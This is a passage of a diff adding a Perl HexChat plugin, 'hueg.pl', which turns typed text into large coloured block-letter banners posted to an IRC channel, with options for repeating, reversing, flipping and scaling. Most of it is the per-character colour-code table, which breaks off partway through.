+1,1258 @@ +###### +# hueg.pl PRO MODE +# modded by ma0 and others +# respekts 2 jakk and others +# 2020 upd: ported for HexChat by anon +###### + +use Xchat qw(:all); + +$VERSION = ord 'LOL'; + +register('hueg', $VERSION, 'make text hueg LOL'); + +hook_command( "hueg", \&hueg ); + +my $maxchars = 10; #num of chars b4 split +my $reverse = 0; +my $flip = 0; +my $mirror = 0; +my $scale = 1; +my $k = chr 3; +my $OO = pack('H*', '0f'); + +sub hueg { + my $target = context_info()->{channel}; + my $data = $_[1][1]; + + $in = $data; + my $rep; + + if ($in =~ /-rep (\d+)/i) { + $rep = $1; + $in =~ s/-rep \d+//i; + } else { + $rep = 1; + } + if($in =~ /-scale (\d+)/i) { + $scale = $1; + $in =~ s/-scale \d+//i; + } else { + $scale = 1; + } + if($in =~ /-re/i) { + $reverse = 1; + $in =~ s/-re//i; + } else { + $reverse = 0; + } + if($in =~ /-flip/i){ + $flip = 1; + $in =~ s/-flip//i; + } else { + $flip = 0; + } + if($in =~ /-mir/i) { + $mirror = 1; + $in =~ s/-mir//i; + } else { + $mirror = 0; + } + + $in =~ s/\s+$//; + if ($in eq '') { + Xchat::print "/hueg [options]"; + Xchat::print " -rep num of times to scroll msg"; + Xchat::print " -re reverses text"; + Xchat::print " -flip flips text"; + Xchat::print " -mir mirrors your text [NOT WORKIN LOL]"; + Xchat::print " -scale scales shit"; + Xchat::print " num,num,num fg, shadow, bg colors (bg optional)"; + } else { + + until ($rep==0) { + + # colors(); + if ($data =~ /(\d+),(\d+),(\d+)/) { + $c2 = "$k$1,$1"; #fg + $c1 = "$k$2,$2"; #sh + $c3 = "$k$3,$3"; #bg + $in =~ s/\d+,\d+,\d+//; + } elsif ($data =~ /(\d+),(\d+)/) { + $c2 = "$k$1,$1"; #fg + $c1 = "$k$2,$2"; #sh + $c3 = "$OO"; #bg (trans) + $in =~ s/\d+,\d+//; + } else { + $r1 = $r2 = 0; + until ($r1 > 1) { $r1 = int rand(15); } + until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); } + $c2 = "$k$r1,$r1"; #fg (rand) + $c1 = "$k$r2,$r2"; #sh (rand) + $c3 = "$OO"; #bg (trans) + } + ## // colors(); + + my %db = db1(); + + ## parse(); + $in =~ s/(\S{$maxchars})/$1 /g; + undef @s0; + @s0 = split(' ',$in); + undef @s1; + $s1n = 0; + for $n (@s0) { + $nlen = length($n); + $slen = length($s1[$s1n]) + $nlen; + if ($slen <= $maxchars) { + $s1[$s1n] .= "$n "; + } else { + $s1n++; + $s1[$s1n] .= "$n "; + } + } + ### // parse() + + ## process(); + for $n (@s1) { #each line + if($reverse) { + $n = reverse $n; + } + $n =~ s/\s$//; + $n =~ s/^\s//; + undef @s2; + @s2 = split(undef,$n); + my $cur; # current string + my $tmp; + for $f (0..8*$scale) { + for $l (@s2) { #each letter + $all .= "$c3 $OO"; + if($flip) { $cur = "$db{$l}[(9-$f)/$scale]"; } #line of letter + else { $cur = "$db{$l}[$f/$scale]"; } + $whitespace = " " x $scale; + $cur =~ s/ /$whitespace/g; + $all .= $cur; + } + $all .= "${c3} "; + + # Xchat::print $all; + + if($mirror) { $all = reverse $all; } + delaycommand('say '.$all); + $all = ''; + } + } + ### // process() + + select(undef,undef,undef,.1); # probably not necessary unless we care if the loop goes forever + $rep--; + } + } + + return EAT_HEXCHAT; + +} + + + +# this just makes it so it looks right on your side +sub delaycommand { + my $command = $_[0]; + hook_timer( 0, + sub { + command($command); + return REMOVE; + } + ); + return EAT_NONE; +} + + + +#------------------# +# character db # +# lol # +#------------------# + +sub db1 { +return ( +" " => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\cC" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"\cB" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"\cO" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"0" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"1" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"2" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"3" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"4" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"5" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"6" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"7" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"8" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"9" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"A" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"a" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"B" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 ", +], +"b" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"C" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"c" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"D" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"d" => [ +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 ", +], +"E" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"e" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"F" => [ +"$c3 ", +"$c1 $c2 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"f" => [ +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"G" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"g" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +], +"H" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"h" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"I" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"i" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 ", +"$c3 ", +], +"J" => [ +"$c3 ", +"$c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"j" => [ +"$c3 ", +"$c3 $c1 $c2 ", +"$c3 ", +"$c3 $c1 $c2 ", +"$c3 $c1 $c2 ", +"$c3 $c1 $c2 ", +"$c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +], +"K" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"k" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 ", +], +"L" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"l" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 ", +"$c3 ", +], +"M" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c1 $c2 $c1 $c2 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"m" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c1 $c2 $c3", +"$c1 $c2 $c1 $c2 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"N" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 ", +], +"n" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"O" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"o" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"P" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"p" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +], +"Q" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +], +"q" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3", +], +"R" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 ", +], +"r" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"S" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"s" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3", +"$c1 $c2 $c3 ", +"$c3 ", +], +"T" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"t" => [ +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"U" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"u" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"V" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"v" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"W" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 ", +"$c1 $c2 $c1 $c2 $c1 $c2 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 ", +], +"w" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c1 $c2 $c1 $c2 $c3", +"$c1 $c2 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 ", +], +"X" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"x" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c3 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +], +"Y" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"y" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +], +"Z" => [ +"$c3 ", +"$c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3", +"$c3 ", +], +"z" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"\~" => [ +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\`" => [ +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 $c1 $c2 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\!" => [ +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +"$c1 $c2 $c3 ", +"$c3 ", +], +"\@" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 ", +], +"\#" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 ", +], +"\$" => [ +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c1 $c2 $c3 $c1 $c2 $c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +], +"\%" => [ +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 ", +], +"\^" => [ +"$c3 ", +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\&" => [ +"$c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 $c3 ", +"$c3 $c1 $c2 $c1 $c2 $c3", +"$c3 ", +], +"\*" => [ +"$c3 ", +"$c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 $c1 $c2 ", +"$c3 ", +"$c3 ", +"$c3 ", +"$c3 ", +], +"\(" => [ +"$c3 ", +"$c3 $c1 $c2 $c3", +"$c3 $c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 ", +"$c1 $c2 $c3 